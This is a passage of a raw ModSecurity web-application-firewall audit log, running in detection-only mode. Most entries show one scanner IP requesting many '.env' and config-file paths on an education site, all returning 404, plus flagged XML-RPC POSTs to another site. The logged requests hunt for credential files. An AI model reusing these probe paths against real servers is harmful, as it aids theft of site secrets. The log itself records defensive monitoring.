combined=2111, p1=390, p2=1308, p3=42, p4=66, p5=190, sr=121, sw=115, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3dd5d570-Z-- --bcff4a12-A-- [16/Jun/2025:01:01:38.921980 +0530] aE8fmiCwfN5GtQhYhHBEQgAAAAw 185.177.72.210 44592 127.0.0.1 7081 --bcff4a12-B-- GET /:5601/sicherung/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --bcff4a12-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a454689bf1dc0e9a3ad22d4343f69dca1750015898; expires=Sun, 15 Jun 2025 20:31:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --bcff4a12-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/sicherung/.env"] [unique_id "aE8fmiCwfN5GtQhYhHBEQgAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015898247195 674875 (- - -) Stopwatch2: 1750015898247195 674875; combined=1716, p1=389, p2=1199, p3=0, p4=0, p5=127, sr=103, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bcff4a12-Z-- --c44e2549-A-- [16/Jun/2025:01:01:40.993487 +0530] aE8fnCLYlRp1nfGu7y5qEAAAAAQ 185.177.72.210 33432 127.0.0.1 7081 --c44e2549-B-- GET /settings/private/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c44e2549-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9b505ec1368748a0fa62bbcf24a51d631750015900; expires=Sun, 15 Jun 2025 20:31:40 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c44e2549-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/settings/private/.env"] [unique_id "aE8fnCLYlRp1nfGu7y5qEAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015900321224 672332 (- - -) Stopwatch2: 1750015900321224 672332; combined=1845, p1=393, p2=1367, p3=0, p4=0, p5=84, sr=103, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c44e2549-Z-- --0b98aa20-A-- [16/Jun/2025:01:01:52.789361 +0530] aE8fqAW_rlaNA7qLBTtD6gAAAAs 185.177.72.210 43294 127.0.0.1 7081 --0b98aa20-B-- GET /ftp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0b98aa20-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=dddd9423209a6066451440c46c2498ff1750015912; expires=Sun, 15 Jun 2025 20:31:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0b98aa20-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/ftp/.env"] [unique_id "aE8fqAW_rlaNA7qLBTtD6gAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015912065833 723590 (- - -) Stopwatch2: 1750015912065833 723590; combined=1798, p1=379, p2=1306, p3=0, p4=0, p5=112, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0b98aa20-Z-- --195c9927-A-- [16/Jun/2025:01:02:16.777823 +0530] aE8fwD6fDirgE_qJvgHKUAAAAAA 185.177.72.210 33790 127.0.0.1 7081 --195c9927-B-- GET /zmusic-frontend/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --195c9927-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0eb1e7205928e37706ceeb35c41e62af1750015936; expires=Sun, 15 Jun 2025 20:32:16 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --195c9927-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/zmusic-frontend/.env"] [unique_id "aE8fwD6fDirgE_qJvgHKUAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015936130752 647183 (- - -) Stopwatch2: 1750015936130752 647183; combined=1742, p1=370, p2=1278, p3=0, p4=0, p5=94, sr=95, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --195c9927-Z-- --41436222-A-- [16/Jun/2025:01:02:17.740321 +0530] aE8fwSCwfN5GtQhYhHBEVwAAAAw 185.177.72.210 33834 127.0.0.1 7081 --41436222-B-- GET /.env.local.例 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --41436222-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=67e5b49f3f07ab83f743032f5c96b3831750015937; expires=Sun, 15 Jun 2025 20:32:17 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --41436222-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.local.\\\\xe4\\\\xbe\\\\x8b"] [unique_id "aE8fwSCwfN5GtQhYhHBEVwAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015937096238 644219 (- - -) Stopwatch2: 1750015937096238 644219; combined=1753, p1=380, p2=1274, p3=0, p4=0, p5=98, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --41436222-Z-- --4995c115-A-- [16/Jun/2025:01:02:20.920495 +0530] aE8fxAW_rlaNA7qLBTtD_AAAAAs 185.177.72.210 43132 127.0.0.1 7081 --4995c115-B-- GET /:8181/.env.ci HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4995c115-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7489d87a97d0ceb9131120cee6018da71750015940; expires=Sun, 15 Jun 2025 20:32:20 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4995c115-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/.env.ci"] [unique_id "aE8fxAW_rlaNA7qLBTtD_AAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015940108984 811583 (- - -) Stopwatch2: 1750015940108984 811583; combined=1759, p1=374, p2=1277, p3=0, p4=0, p5=108, sr=96, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4995c115-Z-- --18fec20c-A-- [16/Jun/2025:01:02:29.136790 +0530] aE8fzAW_rlaNA7qLBTtEAQAAAAs 128.199.112.101 43576 127.0.0.1 7081 --18fec20c-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 487 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --18fec20c-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --18fec20c-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8fzAW_rlaNA7qLBTtEAQAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015948218195 918663 (- - -) Stopwatch2: 1750015948218195 918663; combined=2107, p1=350, p2=1267, p3=49, p4=76, p5=226, sr=100, sw=139, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --18fec20c-Z-- --f7ede108-A-- [16/Jun/2025:01:02:29.375166 +0530] aE8fzJnj7pFxi-BGHz6tmgAAAAI 185.177.72.210 43604 127.0.0.1 7081 --f7ede108-B-- GET /config/private/.env.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f7ede108-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b26c26461c05b4f53324849d0a83d0531750015949; expires=Sun, 15 Jun 2025 20:32:29 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f7ede108-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/config/private/.env.local"] [unique_id "aE8fzJnj7pFxi-BGHz6tmgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015948731239 644002 (- - -) Stopwatch2: 1750015948731239 644002; combined=1693, p1=371, p2=1238, p3=0, p4=0, p5=83, sr=98, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f7ede108-Z-- --ce5a2939-A-- [16/Jun/2025:01:02:37.308049 +0530] aE8f1CLYlRp1nfGu7y5qMQAAAAQ 185.177.72.210 38426 127.0.0.1 7081 --ce5a2939-B-- GET /preview/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ce5a2939-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7d94be5d4ab8caddc7fa4ee7896fad9c1750015957; expires=Sun, 15 Jun 2025 20:32:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ce5a2939-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/preview/.env"] [unique_id "aE8f1CLYlRp1nfGu7y5qMQAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015956642737 665376 (- - -) Stopwatch2: 1750015956642737 665376; combined=1764, p1=388, p2=1243, p3=0, p4=0, p5=133, sr=98, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ce5a2939-Z-- --33e6492f-A-- [16/Jun/2025:01:02:41.383858 +0530] aE8f2CKD19h5xDtM-2wcxQAAAAo 185.177.72.210 51078 127.0.0.1 7081 --33e6492f-B-- GET /service/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --33e6492f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ba7f24a1a9be23deead21b76a5224af01750015961; expires=Sun, 15 Jun 2025 20:32:41 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --33e6492f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/service/.env"] [unique_id "aE8f2CKD19h5xDtM-2wcxQAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015960726851 657074 (- - -) Stopwatch2: 1750015960726851 657074; combined=1918, p1=402, p2=1415, p3=0, p4=0, p5=101, sr=106, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --33e6492f-Z-- --1ff3681e-A-- [16/Jun/2025:01:02:44.307855 +0530] aE8f2z6fDirgE_qJvgHKXQAAAAA 185.177.72.210 51186 127.0.0.1 7081 --1ff3681e-B-- GET /backups/private/.env.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1ff3681e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d5d2c5e1518a4cb7e223f19aa35ff94b1750015964; expires=Sun, 15 Jun 2025 20:32:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1ff3681e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/backups/private/.env.local"] [unique_id "aE8f2z6fDirgE_qJvgHKXQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015963665491 642462 (- - -) Stopwatch2: 1750015963665491 642462; combined=1757, p1=361, p2=1279, p3=0, p4=0, p5=116, sr=83, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1ff3681e-Z-- --adf0fd55-A-- [16/Jun/2025:01:02:50.723615 +0530] aE8f4QW_rlaNA7qLBTtECwAAAAs 185.177.72.210 56468 127.0.0.1 7081 --adf0fd55-B-- GET /:8888/.env.debug HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --adf0fd55-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ad7a8d28e3c0ed8158d93a2a11c37beb1750015970; expires=Sun, 15 Jun 2025 20:32:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --adf0fd55-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/.env.debug"] [unique_id "aE8f4QW_rlaNA7qLBTtECwAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015969991868 731823 (- - -) Stopwatch2: 1750015969991868 731823; combined=1972, p1=487, p2=1386, p3=0, p4=0, p5=98, sr=111, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --adf0fd55-Z-- --ed0a537c-A-- [16/Jun/2025:01:02:51.781766 +0530] aE8f4yLYlRp1nfGu7y5qNwAAAAQ 185.177.72.210 56500 127.0.0.1 7081 --ed0a537c-B-- GET /:8000/protected/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ed0a537c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e7246a15439e927c4e3128696997c8ca1750015971; expires=Sun, 15 Jun 2025 20:32:51 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ed0a537c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/protected/.env"] [unique_id "aE8f4yLYlRp1nfGu7y5qNwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015971107271 674575 (- - -) Stopwatch2: 1750015971107271 674575; combined=1720, p1=348, p2=1263, p3=0, p4=0, p5=109, sr=84, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ed0a537c-Z-- --8afcc44c-A-- [16/Jun/2025:01:02:56.471184 +0530] aE8f5z6fDirgE_qJvgHKYwAAAAA 185.177.72.210 56706 127.0.0.1 7081 --8afcc44c-B-- GET /nginx.conf HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8afcc44c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=80a737a34d699554624dd2b95b2dd0411750015976; expires=Sun, 15 Jun 2025 20:32:56 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8afcc44c-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg 